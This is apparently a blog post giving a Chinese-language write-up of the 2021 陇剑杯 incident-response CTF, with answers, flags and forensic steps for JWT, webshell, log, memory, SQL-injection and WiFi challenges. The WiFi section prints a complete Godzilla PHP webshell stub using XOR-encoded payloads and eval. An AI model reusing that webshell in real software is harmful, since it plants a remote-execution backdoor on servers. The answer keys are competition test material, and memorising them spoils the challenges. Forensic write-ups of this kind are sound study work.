2021 陇剑杯wp

前言

这比赛应该叫应急响应比赛,而且flag交三次就不能交了,就因为我交错一道题然后差一道进线下,气死了。

Jwt

2.1 jwt
题目提示
2.2
搜索username得到

10087#admin
2.3 root
不是root就是admin
2.4 1.c

2.5 looter.so

2.6 /etc/pam.d/common-auth

Webshell

3.1
Admin123!@#


http.request.method == "POST" && http contains "login"
https://blog.csdn.net/qq_43431158/article/details/107176918
3.2
/var/www/html/data/Runtime/Logs/Home/21_08_07.log

3.3

www-data
3.4
1.php

3.5

frpc
3.6
192.168.239.123
3.7
0HDFt16cLQJ#JTN276Gp

日志分析

4.1 www.zip

4.2 sess_car

4.3 SplFileObject

内存分析

python ./vol.py -f Target.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8c7d10 -D ./ -u

发现有关华为的东西,用volatility的dumpfiles命令dump下来,导出来改成rar后缀解压,发现是个华为手机的备份包

然后用脚本进行解密,具体参考Huawei backup - decrypt (linkedin.com),一定要用python3.7,但不要用参考链接给的python3.7,有问题
实测python3.5也可以直接跑

发现还需要一个密码,然后用volatility的lsadump命令,发现密码

根据提示,没有空格键,有下划线,W31C0M3_T0_THiS_34SY_F0R3NSiCX,然后用脚本的命令


恢复文件得到flag

简单的日志分析

7.1
user

7.2
/Th4s_IS_VERY_Import_Fi1e


7.3


192.168.2.197:8888

SQL注入

8.1
分析日志,攻击者在通过sql盲注来获取flag
布尔盲注
8.2

分析sql语句的内容 select flag from sqli.flag
sqli#flag#flag
8.3
分析盲注的编号的最后一个比较 说明匹配上了

如上 最后一个字符是%7D 也就是} 向上匹配可得flag
flag{deddcd67-bcfd-487e-b940-1217e668c7db}

IOS

10.1
搜索github找到

10.2
同上

10.3


10.4
搜索select,找到流量

把192.168.1.12的流量全部提出来

因为是盲注,所以直接看盲注每一个字节的流量的最后一条
一个一个提出来:37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32 5A 5A 5A 6A
转字符串:746558f3-c841-456b-85d7-d6c0f2edabb2ZZZj
提交不对,发现有N个Z,怀疑从Z开始就是注多了的,去掉ZZZj,提交
10.5
10-499
10.7
已知192.168.1.12被盲注,尝试加上192.168.1.8,发现不对,查看日志文件,得到IP 172.28.0.3,不对,去wireshark寻找,找不到这个IP

尝试搜索172.28.0.2,找到了

再尝试提交,172.28.0.2#192.168.1.12
成功
10.8

Wifi

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

通过镜像的vmep文件分析,提取出了一个压缩包

dump下来后发现密码提示是network adapter的guid

通过搜索注册表得到了guid 解压下来是一wifi密码和ssid 在wireshark中配置一下密码和ssid 得到一个wifi包
在wifi包中发现有哥斯拉流量 在网上搜索解密的脚本 默认配置即可 得到flag
flag{5db5b7b0bb74babb66e1522f3a6b1b12}

posted @ 2021-10-06 11:15  twosmi1e  阅读(550)  评论(0编辑  收藏  举报